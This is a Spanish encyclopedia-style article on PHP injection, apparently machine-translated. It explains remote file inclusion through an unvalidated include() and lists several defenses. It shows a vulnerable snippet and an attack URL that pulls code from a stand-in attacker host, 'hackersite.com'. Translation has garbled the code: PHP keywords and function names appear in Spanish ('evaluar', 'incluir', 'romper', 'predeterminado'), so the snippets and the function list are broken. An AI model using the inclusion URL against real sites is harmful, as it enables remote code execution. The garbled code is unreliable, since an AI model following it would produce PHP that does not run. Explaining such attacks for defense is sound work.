Inyección PHP
La versión actual de la página aún no ha sido revisada por colaboradores experimentados y puede diferir significativamente de la
versión revisada el 1 de diciembre de 2020; las comprobaciones requieren
2 ediciones .
La inyección de PHP ( eng. PHP injection ) es una de las formas de piratear sitios web que se ejecutan en PHP , que consiste en ejecutar código extraño en el lado del servidor. Las funciones potencialmente peligrosas son:
- evaluar(),
- preg_replace() (con el modificador "e"),
- requerir una vez(),
- incluir_una vez(),
- incluir(),
- requerir(),
- crear_función().
La inyección de PHP se vuelve posible si los parámetros de entrada se aceptan y usan sin validación.
Ejemplo
<?
...
$módulo = $_GET [ 'módulo' ];
include ( $módulo . '.php' );
...
?>
Este script es vulnerable, porque ".php" simplemente se agrega al contenido de la variable y el archivo$module .php se incluye en la ruta recibida .
Un atacante puede crear un archivo que contenga código PHP ( http://hackersite.com/inc.php) en su sitio y, al visitar el sitio a través de un enlace, parece
http://mysite.com/index.php?module=http://hackersite.com/inc
ejecutar cualquier comando PHP.
Maneras de proteger
Hay varias formas de protegerse contra un ataque de este tipo:
- Compruebe si una variable contiene $modulecaracteres extraños:
<?
...
$módulo = $_GET [ 'módulo' ];
if ( strpbrk ( $ módulo , '.?/:' )) die ( 'Bloqueado' );
incluir $módulo . '.php' ;
...
?>
- Revisa que $moduleesté asignado uno de los valores permitidos:
<?
...
$módulo = $_GET [ 'módulo' ];
$ matriz = matriz ( 'principal' , 'acerca de' , 'enlaces' , 'foro' );
if ( ! in_array ( $módulo , $matriz )) $módulo = $matriz [ 0 ];
incluir $módulo . '.php' ;
...
?>
Este método es más eficiente, hermoso y ordenado.
- Escriba cada valor a través de si
<?
...
$módulo = $_GET [ 'módulo' ];
if ( $módulo == 'principal' ) incluye 'principal.php' ;
if ( $módulo == 'acerca de' ) include 'acerca de.php' ;
if ( $módulo == 'enlaces' ) include 'enlaces.php' ;
if ( $módulo == 'foro' ) include 'foro.php' ;
...
?>
- Utilice la declaración de cambio:
<?
...
$módulo = $_GET [ 'módulo' ];
switch ( $módulo ){
case 'acerca de' :
case 'enlaces' :
case 'foro' :
include " { $módulo } .php" ; romper ;
predeterminado : incluye 'main.php' ;
}
...
?>
Esta solución es similar a la solución if, pero tiene una notación más compacta.
PHP también brinda la posibilidad de deshabilitar el uso de archivos remotos, esto se implementa cambiando el valor de la opción allow_url_fopen a Desactivado en el archivo de configuración del servidor php.ini.
La vulnerabilidad descrita representa un alto peligro para el sitio y los autores de scripts PHP no deben olvidarse de ella.
Véase también
Enlaces